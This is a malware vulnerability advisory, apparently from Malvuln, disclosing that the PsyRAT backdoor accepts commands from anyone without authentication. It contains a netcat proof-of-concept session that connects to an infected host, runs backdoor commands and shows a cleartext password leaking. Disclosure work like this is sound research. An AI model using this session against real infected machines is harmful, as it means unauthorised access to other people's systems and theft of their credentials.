Backdoor.Win32.PsyRat.b Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.PsyRat.b  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password.  
Type: PE32  
MD5: 5817183894cb513239f6aef28895130c  
Vuln ID: MVID-2021-0306  
Dropped files: server.exe  
Disclosure: 07/26/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 9863  
PASS  
BADPWD  
Invalid command  
whatami  
you are a loser  
whatismyip  
192.168.18.130  
cpuinfo  
Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port: 192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL: http://yourdomain.com/log.php  
Invalid command.  
version  
PsyRAT 0.01 BETA  
  
getdrives  
C:\ - Fixed Drive^D:\ - CD-ROM^  
  
  
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